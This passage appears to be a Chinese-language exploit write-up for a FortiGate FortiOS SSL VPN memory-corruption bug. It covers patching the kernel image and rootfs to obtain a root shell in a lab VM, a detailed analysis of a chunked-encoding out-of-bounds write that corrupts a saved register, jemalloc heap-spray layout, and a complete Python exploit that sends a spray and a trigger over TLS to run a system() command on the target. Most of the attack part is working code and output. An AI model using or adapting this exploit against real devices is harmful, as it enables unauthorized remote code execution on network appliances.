0xFFFFFFFF8170C3C9 PATCH = bytes .fromhex("31c0c3" ) EXPECT = bytes .fromhex("554889e54157" ) def main (): if len (sys.argv) != 3 : print (__doc__) return 2 src, dst = sys.argv[1 ], sys.argv[2 ] d = bytearray (open (src, "rb" ).read()) setup_len = (d[0x1F1 ] + 1 ) * 512 pay_off = struct.unpack_from("<I" , d, 0x248 )[0 ] pay_len = struct.unpack_from("<I" , d, 0x24C )[0 ] start = setup_len + pay_off gz = bytes (d[start:start + pay_len]) print (f"[*] {src} ({len (d)} bytes), gz @{hex (start)} len={pay_len} " ) vmlinux = bytearray (zlib.decompress(gz[10 :-8 ], -15 )) print (f"[*] vmlinux {len (vmlinux)} bytes" ) off = VERIFY_VA - VMLINUX_BASE cur = bytes (vmlinux[off:off + len (EXPECT)]) print (f"[*] target @{hex (off)} : {cur.hex ()} " ) if cur != EXPECT: print ("[!] 目标字节不匹配, 中止" ) return 1 vmlinux[off:off + 3 ] = PATCH print (f"[*] patched -> {bytes (vmlinux[off:off+3 ]).hex ()} (xor eax,eax; ret)" ) new_gz = zopfli_gzip.compress(bytes (vmlinux), numiterations=15 , blocksplitting=True ) print (f"[*] recompressed: {pay_len} -> {len (new_gz)} ({len (new_gz)-pay_len:+d} )" ) if len (new_gz) > pay_len: print ("[!] 新 gzip 比原版大, 无法等长填充; 需要改 stub 常量" ) return 3 padded = new_gz + bytes (pay_len - len (new_gz)) assert len (padded) == pay_len d[start:start + pay_len] = padded open (dst, "wb" ).write(bytes (d)) print (f"[+] wrote {dst} ({len (d)} bytes, 长度与原版一致)" ) return 0 if __name__ == "__main__" : sys.exit(main())
跑法(在根目录下):
1 /tmp/zv/bin/python3 artifacts/patch_equal.py artifacts/orig/flatkc artifacts/flatkc.patched
这里喂进去的是 artifacts/orig/flatkc,不是 mnt/p1/flatkc。
因为「放入程序」那节结束时已经把 .bak 卸掉并 disconnect 了,此刻 mnt/p1 是空的。
原始 flatkc 是那时候就顺手存下来的(cp mnt/p1/flatkc artifacts/orig/flatkc),所以这里不用再挂一次盘。
实测输出(原版 vs 补丁版):
1 2 orig file=7346368 vmlinux=27310360 off=0x190c3c9 bytes=554889e541574156 patched file=7346368 vmlinux=27310360 off=0x190c3c9 bytes=31c0c3e541574156
长度不变、偏移不变、vmlinux 大小不变。
rootfs 重打包 两处补丁产物都有了:artifacts/init.full.patched(init)和 artifacts/flatkc.patched(内核)。
还差把结果写回镜像。
scripts/rebuild.sh 把「重打 bin.tar.xz → 重打 cpio → 取 trailer → 压 gzip → 写盘 → 改 extlinux」串成一条:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #!/bin/sh set -eucd "$(dirname "$0 " ) /.." WORK=$(mktemp -d /tmp/fgtbuild.XXXXXX)trap 'rm -rf "$WORK"' EXITecho "[1/6] 重打 bin.tar.xz" mkdir -p "$WORK /bin" tar -xf build/bin.tar.xz.orig -C "$WORK " cp artifacts/init.full.patched "$WORK /bin/init" chmod 755 "$WORK /bin/init" ( cd "$WORK " && tar -cf bin.tar bin ) xz -e -T0 "$WORK /bin.tar" cp "$WORK /bin.tar.xz" rootfs_file/bin.tar.xzecho "[2/6] 重打 rootfs cpio(注意:不加 -depth)" sudo sh -c "cd $PWD /rootfs_file && find . -print0 | cpio --null -o -H newc 2>/dev/null" \ > "$WORK /rootfs.cpio" echo "[3/6] 取原始 rootfs.gz 的 256B trailer" sudo qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true sudo modprobe nbd max_part=8sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2.baksleep 2sudo mount -o ro /dev/nbd0p1 mnt/p1cp mnt/p1/rootfs.gz "$WORK /orig_rootfs.gz" sudo umount mnt/p1sudo qemu-nbd --disconnect /dev/nbd0echo "[4/6] 压 gzip + 追加 trailer" python3 - "$WORK " <<'PYEOF' import gzip, io, sys, zlib, os w = sys.argv[1] cpio = open(os.path.join(w, 'rootfs.cpio' ), 'rb' ).read () buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode='wb' , compresslevel=9, mtime=0) as f: f.write(cpio) gz = bytearray(buf.getvalue()) gz[9] = 3 o = zlib.decompressobj(31) o.decompress(open(os.path.join(w, 'orig_rootfs.gz' ), 'rb' ).read ()) trailer = o.unused_data assert len(trailer) == 256, f"trailer 应为 256 字节,实际 {len(trailer)}" out = os.path.join(w, 'rootfs.gz' ) open(out, 'wb' ).write(bytes(gz) + trailer)print (f" rootfs.gz = {len(gz)} (gzip) + {len(trailer)} (trailer) = {len(gz)+len(trailer)}" ) PYEOFecho "[5/6] 写入镜像" sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2sleep 2sudo mount /dev/nbd0p1 mnt/p1sudo cp artifacts/flatkc.patched mnt/p1/flatkcsudo cp "$WORK /rootfs.gz" mnt/p1/rootfs.gzsudo rm -f mnt/p1/rootfssudo sed -i 's#initrd=[^ ]*#initrd=/rootfs.gz#; s/ramdisk_size=[0-9]*/ramdisk_size=262144/' mnt/p1/extlinux.confsudo sync echo "[6/6] 收尾" sudo umount mnt/p1sudo qemu-nbd --disconnect /dev/nbd0echo "[+] 完成。用 scripts/start.sh 启动。"
脚本里 rootfs 那几步有四个必须同时满足的点:
#
要点
违反后
1
find . 不能加 -depth
子项先于父目录出现 → /sbin/init 解析失败 → ENOENT
2
init 符号链接必须是绝对路径 /sbin/init
相对路径按 cwd 解析 → 找不到
3
initrd 必须是 gzip + 256B trailer
裸 cpio 直接校验失败
4
extlinux.conf 的 ramdisk_size 要够
内核截断 initrd,解包不完整
trailer 那 256 字节不能自己造,得从原镜像里抠:
1 2 3 4 o = zlib.decompressobj(31 ) o.decompress(open ('orig_rootfs.gz' , 'rb' ).read()) trailer = o.unused_dataassert len (trailer) == 256
ramdisk_size 从 65536 改成 262144,倒不是原值错了,是余量问题:
1 2 原始 initrd 64691870 B = 63175.1 KiB → 65536 装得下,余量 2360 KiB 新版 initrd 66327690 B = 64773.1 KiB → 余量只剩 762.9 KiB,太危险
跑法:
到这里 fortios.qcow2 已经完成所有修补,重新启动:
1 ./scripts/start.sh --accel kvm --net tap
起来之后在 FortiGate CLI 里跑 diagnose hardware smartctl,可以直接落到 root shell:
1 2 3 4 5 6 FGVM324FN00KXRQJ # diagnose hardware smartctl BusyBox v1.37.0 ... built-in shell (ash) / # id uid=0 gid=0 / # uname -a Linux FGVM324FN00KXRQJ 4.19.13 #1 SMP Tue May 9 16:56:37 UTC 2023 x86_64 GNU/Linux
顺手记一下 gdbserver 的用法,后面调试要用。
161 这个端口是借 smap 的:
1 2 3 4 5 6 7 8 /bin/gdbserver 0.0.0.0:161 --attach $(busybox pidof sslvpnd) pwndbg -q \ -ex 'set sysroot /nonexistent' \ -ex 'set solib-search-path /nonexistent' \ -ex 'target remote 192.168.100.250:161'
set sysroot /nonexistent 必须加,不然 gdb 会去 guest 拉 /lib 下的 libc 和 jemalloc,慢且经常超时断连。
反正我们只关心 init 本体,非 PIE,地址全是静态的,一个 .so 符号都不需要。
调试完同样用 ./scripts/start.sh --cleanup 收尾,和前面一个用法。
漏洞分析 前面说过 init 是多调用二进制,sslvpnd 只是它的一个符号链接。
所以这里分析的每一个函数,对 sslvpnd 进程都成立。
漏洞入口在 read_client_block,0x18A1FB0:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 __fastcall sub_18A1FB0 (__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, int a6) { __int64 v6; int v7; char v9[8200 ]; unsigned __int64 v10; v6 = *(a1 + 736 ); v10 = __readfsqword(0x28 u); do v7 = sub_178D0B0(v6, v9, 8190LL , a4, a5, a6); while ( v7 > 0 ); ... }
对应汇编:
1 2 3 4 5 6 7 8 18a1fb5 sub rsp, 2018h ; 栈帧 18a1fcc mov [rbp-18h], rax ; ★ 栈金丝雀,buf+0x2008 18a1fd2 mov edx, 1FFEh ; ← 循环起点,注意这个 0x1FFE 18a1fd7 lea rsi, [rbp-2020h] ; buf = rbp - 0x2020 18a1fe1 call sub_178D0B0 18a1fe8 jg loc_18A1FD2 ; ★★ 返回 > 0 就再调一次 18a2006 leave ; 唯一安全的断点 18a2007 retn
注意那个 do...while。
sub_178D0B0 是在循环里被反复调用的,每次返回大于 0 就再来一次,都用同一个 buf、同一个长度。
而 buf 只有 0x2018 字节,实际可用 0x1FFE。
解析器本体 sub_178D0B0 是个状态机,[ctx+0x2D0] 是状态号。
相关字段:
偏移
语义
ctx+0x104
解析模式(实测 = 3 进入 chunked 限制路径)
ctx+0x108
chunked 限制开关(实测恒为 1)
ctx+0x2D0
状态号 0..9
ctx+0x2D8
本次调用内所有行累计写过的字节数
ctx+0x2E0
本次读取上限
ctx+0x2E8
本次调用累计产出字节数
ctx+0x2F0
缓冲区真实剩余容量
ctx+0x2F8
输出缓冲区追加游标
状态 4 是读 chunk 数据,伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 case 4 : v26 = *(a1 + 0x2F0 ); ... if ( sub_1792FE0(*(a1 + 0x760 ), v26, ...) <= 0 ) break ; v27 = *(a1 + 0x2F0 ); v28 = *(a1 + 0x2D8 ); v29 = v27 - 1 ; if ( v28 != v29 ) { v30 = *(a1 + 0x760 ); *(a1 + 0x2D8 ) = v28 + 1 ; *(v30 + v28) = 13 ; ... *(a1 + 0x2D8 ) = v31 + 1 ; *(v32 + v31) = 10 ; ... } v26 = (v27 - v29); *(a1 + 0x2E8 ) += v29; *(a1 + 0x2F0 ) += v29; *(a1 + 0x2D8 ) = v26;
同一个 0x2D8 被用在两个地方,两次都错:
写地址 = 游标 + 累计量 → 累计量被重复加了一次
游标步长 = 累计量 → 二次放大
而 0x2D8 在状态 4 的循环里只被 +1 两次(写 CR、写 LF),从不从 ap_getline 的返回值刷新。
真正该刷新它的那句在哪?
1 2 178d41e jnz loc_178D5E8 ; ★ 0x108 != 0 → 跳过下面这句 178d45c mov [rbx+2D8h], rax ; 2D8 = n(永远不执行)
实测 [ctx+0x108] 恒为 1。
所以 2D8 = n 那条正确赋值永远不执行。
漏洞点
越界写,位置在 sub_178D0B0 状态 4 的 CRLF 写入,0x178D388 / 0x178D3A5
根因是 0x2D8 与 0x2F8 双计数:写地址和步长都用了累计量,0x2F0 才是正确容量
read_client_block 的循环反复调用,0x2D8 / 0x2F8 跨调用持续增长,写地址是 k 的二次函数
实测 89 轮恒有 0x2F8偏移 + 0x2F0 = 0x1FFC,两者严格同步递减,容量核算始终正确。
问题不在容量,在于”游标该走多远”和”该往哪写”。
既然是二次函数,想落到哪个栈地址,反解一下就行。
scripts/get_offset.py 干的就是这件事:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def get_offset (k, n, s ): if n == 0 : return s return get_offset(k + 2 , n -1 , k + s)def get_num (target, max_num ): for i in range (1 , max_num): for j in range (1 , max_num): if get_offset(i + 2 , j + 1 , 0 ) == target: return i,j return -1 ,-1 target_addr = 0x7fff66638df8 offset = target_addr - 0x7fff66636da0 i,j = get_num(offset + 0x2 , 500 )print ("i:" , i)print ("j:" , j)
跑出来:
它反解的目标是 0x2058 + 0x2。
0x2058 就是 saved r13 的槽,多出来的 2 后面解释。
回来这两个数就是 payload 的两个参数:
变量
含义
值
i
前面垫多少个 b"0"
18
j
后面跟多少行 b"A: X\r\n"
81
也就是理论上要打成 b"0"*18 + b"\r\n" + b"A: X\r\n"*81 这个形状。
为什么多这 2 字节,得看 get_offset 到底在算什么。
它只有三行,是个等差数列求和:
s 是已累计的值,k 是当前这一轮的步长
每轮先 s += k,再把 k += 2,迭代 n 次
入口是 k = i + 2、n = j + 1,展开
1 2 3 s = Σ(t=0..j) (i + 2 + 2t) = (j+1)(i+2) + 2·j(j+1)/2 = (j+1)(i+j+2)
减掉 2 之后才是写地址:
1 w(j) = (j+1)(i+j+2) - 2 = j² + (i+3)j + i
i = 18 代进去:
拿 i = 1 再代一次,得到 w(j) = j² + 4j + 1。
这个式子对得上另一条 payload(b"0\r\n" 加 89 行 A: X\r\n)实测出来的边界:88 行落在 0x1FA1,89 行落在 0x2056。
两条曲线都是 j² 开头,差别只在一次项和常数——起点不同而已。
所以 get_offset(i+2, j+1, 0) 恒等于 w(j) + 2,get_num 比的是这个返回值,才要写 0x2058 + 0x2。
这只是其中一种选择,换成下面真正上线的那条 payload 就不是这个形状了。
中间隔着一次实测标定,4137 不是脚本算出来的。
0x178D000 的 hex 解码器会跳过前导 '0':
1 2 for ( i = *a1; i == 48 ; ++v1 ) i = v1[1 ];
所以 b"0"*4137 这串零进去之后,解析路径跟 b"0"*18 + b"\r\n" 不同,0x2D8 的初值也不同。
同一个漏洞、同一套双计数机制,只是起点不一样,w 的系数就跟着变。
4137 只能靠实测扫出来,脚本的反解帮不上这个忙。
脚本能确认的是:i=18 / j=81 这对参数确实把第 81 轮落在 0x2058,和实测打中的位置一致。
利用思路 上线的那条 payload 长这样:
1 2 3 4 POST / HTTP/1.1 Transfer-Encoding: chunked b"0"*4137 + b"\x00" + b"A" + b"\r\n\r\n"
k 是状态 4 的写轮次,取 80..83 代进 i=18 那条曲线:
1 2 3 4 k=80 → 0x1FA2 k=81 → 0x2058 ★ 正好是 saved r13 槽 k=82 → 0x2110 k=83 → 0x21CA
四个点都和实测对得上。
k 是整数,所以落点是离散的。
这一步跨 182 字节,于是把中间那些东西全部跳过去了。
read_client_block 的完整帧:
1 2 3 4 5 6 7 8 9 10 buf+0x1FFE 实际使用末端 buf+0x2008 [canary] = fs:28h ← 越界写第一个该碰到的目标 buf+0x2018 [saved rbx] buf+0x2020 [saved rbp] buf+0x2028 [saved rip] = 0x18b794d ← 数列跳过,永不可达 ─────────── 以下是调用者 sslConnDispatchChanEvent 的帧 ─────────── buf+0x2050 [它的 r12] buf+0x2058 [它的 r13] = 0x...4800 ← ★ 被写成 0x...0a0d buf+0x2060 [它的 r14] buf+0x2078 [它的 rip2] = 0x18b8ff0
r13 在这里是 SSL 连接对象指针,小端值低 2 字节被覆写:
1 2 3 原值 r13 = 0x00007f6221694800 (page = 0x7f6221690000, 64 KB 对齐) 写入 0d 0a 新值 r13 = 0x00007f6221690a0d = page | 0x0A0D
sslConnDispatchChanEvent 正常收尾 pop r13,把这个脏值送回 sslConnPollAllChannels 当 rdi 继续用。
r13 到手,接下来就是拿它撬程序流。
再次进入 sslConnDispatchChanEvent 时,rdi 就是 page+0x0A0D:
1 2 3 18b8fe5 mov esi, r14d ; 通道号 18b8fe8 mov rdi, r13 ; ★ 18b8feb call sslConnDispatchChanEvent ; 劫持点
派发器内部取函数指针:
1 2 3 4 18b78ee mov r13, [rdi+298h] ; = V 18b7903 mov r15, [r13+70h] ; = P(通道表头) 18b793d mov rax, [rax+r15+20h] ; [P + 32*a2 + 0x20] 通道 a2 的写回调 18b794b call rax ; ★ rdi 仍是 page+0x0A0D
所以整条链是:
1 2 3 4 5 6 7 8 ① 越界写 0D 0A → buf+0x2058 → saved r13 低 2 字节 = 0x0A0D ② r13 送回 sslConnPollAllChannels ③ [r13+0x298] = [page+0x0CA5] = V = 0x49D7B48 ← body 提供 ④ [V+0x70] = P = 0x49D7BA0 ← .bss 静态表 ⑤ [P+0x80] = T = 0x2ADFA00 ← channel-3 写槽 ⑥ call rax → 2ADFA00+0x12 : call qword ptr [rdi+0x50] ⑦ [rdi+0x50] = [page+0x0A5D] = 0x442100 = system@plt ← body 提供 ⑧ system(rdi) = system(page+0x0A0D) = system(命令串)
T 那段反汇编很短,18 字节就取用 rdi:
1 2 3 4 5 2adfa00 test rdi, rdi 2adfa03 jz ret0 2adfa05 push rbp 2adfa12 call qword ptr [rdi+50h] ★ 2adfa15 mov rdi, r12
system@plt 在 0x442100,一行:
1 442100 ff 25 7a 87 f9 03 jmp qword ptr [0x43da880]
非 PIE,静态地址已知,不需要泄漏。
rdi 是自指 的。
它指向的地址处的字节,就是攻击者控制的数据本身。
麻烦的地方在堆喷。
jemalloc 5.2.1,/lib/libjemalloc.so.2,539264 字节。
size class 按 8 字节对齐,相邻档位大致翻倍:0x800、0xA00、0x2000……
分配链走正常业务功能,不需要畸形请求:
1 2 3 4 5 6 POST <任意路径> Content-Length: CL → read_post_data @ 0x18BDF40 → sub_1778AF0(CL+1) @ 0x1778AF0 fsv 分配器 → sub_17786A0(CL+1+24) @ 0x17786A0 → je_malloc je_malloc 返回 + 0x18 = 用户数据起点 → sub_178D0B0 把 body 拷进这块堆
对象
请求
je_malloc
class
用户数据起点
conn
0x730
0x748
0x800
chunk + 0x18
body
CL+1
CL+25
需 0x800
chunk + 0x18
所以 CL + 1 + 24 ≤ 0x800,即 CL ≤ 0x7E7。
CL = 0x7F8 时 CL+25 = 0x811,落 0xA00 class,跟 conn 永不同页 —— 表现为”整页一个 V 都没有”,喷 10 MB 也白喷。
64 KB 页 / 0x800 = 32 槽。
rdi = page | 0x0A0D,0x0A0D ∈ [0x0800, 0x1000),只落在 槽 1 。
1 2 槽0 (0x000) conn(触发时复用) ← 只贡献页地址的高 6 字节 槽1 (0x800) body 用户数据 = page + 0x818
四个字段全在页内固定偏移,且全部 ≡ 5 (mod 8):
字段
值
body 偏移
页内偏移
用途
cmd
命令文本
0x1F5
0x0A0D
system 的参数
fn
0x442100
0x245
0x0A5D
[rdi+0x50]
ev3
0x02
0x325
0x0B3D
通道 3 写事件
V
0x49D7B48
0x48D
0x0CA5
[rdi+0x298]
所以只要 body 落在 conn 同页的槽 1,整条链就通了。
fsv 还是 bump 分配器,不是每次都 je_malloc:
1 2 3 4 5 6 7 8 9 10 v3 = v2[2 ]; v4 = 8 * (((a2 - 1 ) >> 3 ) + 1 ); if ( &v3[v4] > *v2 ) { v7 = dword_B133AA4 - 25 ; v8 = sub_17786A0(v7); ... } else { v2[2 ] = &v3[v4]; }return memset (v3, 0 , a2);
实测 bump 100 次 / malloc 52 次。
这意味着 body 可能从已有 chunk 的中间 carve 出来,此时 0x818 就不对了。
成功的三个条件:
1 2 3 ① 某条喷的 conn 落在某页 slot 0 ← 分配序列决定,不可直接控制 ② 该条 body 落在同页 slot 1 ← 实测规律:body 槽 = conn 槽 + 1 ③ 该条的槽是"最后被 free 的" ← 关闭顺序决定,可控
③ 的意思是:槽 1 的内容由谁最后被 free 决定,不是由”谁曾经写进去过”决定。
所以正向关闭、最后关最新的那条,它的槽才在 LIFO 栈顶。
exp 只用标准库,socket / ssl / struct / sys / time,Python 3.6+ 直接跑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 import socketimport sslimport structimport sysimport time TARGET = "192.168.100.250" PORT = 10443 CMD = "echo PWNED21762 > /tmp/pwned21762" V = 0x49D7B48 SYS_PLT = 0x442100 PAGE_CMD = 0x0A0D PAGE_FN = 0x0A5D PAGE_EV0 = 0x0ADD PAGE_V = 0x0CA5 EV_STRIDE = 0x20 BODY_BASE = 0x818 BODY_LEN = 0x7E0 SPRAY_N = 4 TRIG_ZEROS = 4137 SPRAY_PATH = "/remote/hostcheck_validate" TRIG_PATH = "/" def build_body (): """body[i] 落在 page + BODY_BASE + i""" body = bytearray (b"A" * BODY_LEN) def put (page_off, data ): i = page_off - BODY_BASE if 0 <= i and i + len (data) <= BODY_LEN: body[i:i + len (data)] = data put(PAGE_CMD, CMD.encode() + b"\x00" ) put(PAGE_FN, struct.pack("<Q" , SYS_PLT)) put(PAGE_V, struct.pack("<Q" , V)) for ch in range (5 ): put(PAGE_EV0 + ch * EV_STRIDE, bytes ([0x02 if ch == 3 else 0x08 ])) b = bytes (body) if b"\r\n" in b: raise SystemExit("body 含 CRLF,会被 HTTP 截断" ) return bdef build_trigger (): """chunked 请求,把 saved r13 低 2 字节改成 0x0a0d""" return (b"POST " + TRIG_PATH.encode() + b" HTTP/1.1\r\n" b"Host: " + TARGET.encode() + b"\r\n" b"Transfer-Encoding: chunked\r\n\r\n" + b"0" * TRIG_ZEROS + b"\x00" + b"A" + b"\r\n\r\n" )def connect (): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try : ctx.set_ciphers("ALL:@SECLEVEL=0" ) except Exception: pass raw = socket.create_connection((TARGET, PORT), timeout=10 ) return ctx.wrap_socket(raw)def main (): body = build_body() req = (b"POST " + SPRAY_PATH.encode() + b" HTTP/1.1\r\n" b"Host: " + TARGET.encode() + b"\r\n" b"Content-Length: " + str (len (body)).encode() + b"\r\n" b"Connection: keep-alive\r\n\r\n" + body) socks = [] for i in range (SPRAY_N): try : s = connect() except Exception as e: print ("[!] spray %d connect failed: %s" % (i + 1 , e)) for t in socks: try : t.close() except Exception: pass return 1 s.sendall(req) try : s.settimeout(0.3 ) s.recv(4096 ) except Exception: pass socks.append(s) print ("[*] spray %d/%d" % (i + 1 , SPRAY_N)) time.sleep(0.5 ) for s in socks: try : s.close() except Exception: pass time.sleep(0.05 ) print ("[*] 已关闭 %d 条,槽0 归还、槽1 数据残留" % SPRAY_N) try : s = connect() except Exception as e: print ("[!] trigger connect failed: %s" % e) return 1 s.sendall(build_trigger()) print ("[*] 触发已发送" ) try : s.settimeout(3 ) s.recv(4096 ) except Exception: pass try : s.close() except Exception: pass time.sleep(2 ) print ("[+] 完成。若成功,目标上应出现: %s" % CMD) return 0 if __name__ == "__main__" : sys.exit(main())
结尾 从两个字节的 0d 0a 一路走到 RCE,这条链本身是有意思的。
难点不在漏洞点,在堆布局。
按现在的结论,命中率低是因为必须恰好在某一时刻让 body 落在 r13 所指那一页的槽 1 上。
jemalloc 的分配行为又相当随机:一个页能切 32 个槽,但常常分了三四个就转去开新页,之后可能跳回来,也可能原地释放再分配。
所以哪怕在模拟环境里,命中率也低得难看。
好在触发之后打崩了会自动重启,可以反复试。
不过这个利用思路还是挺有意思的,值得记一笔。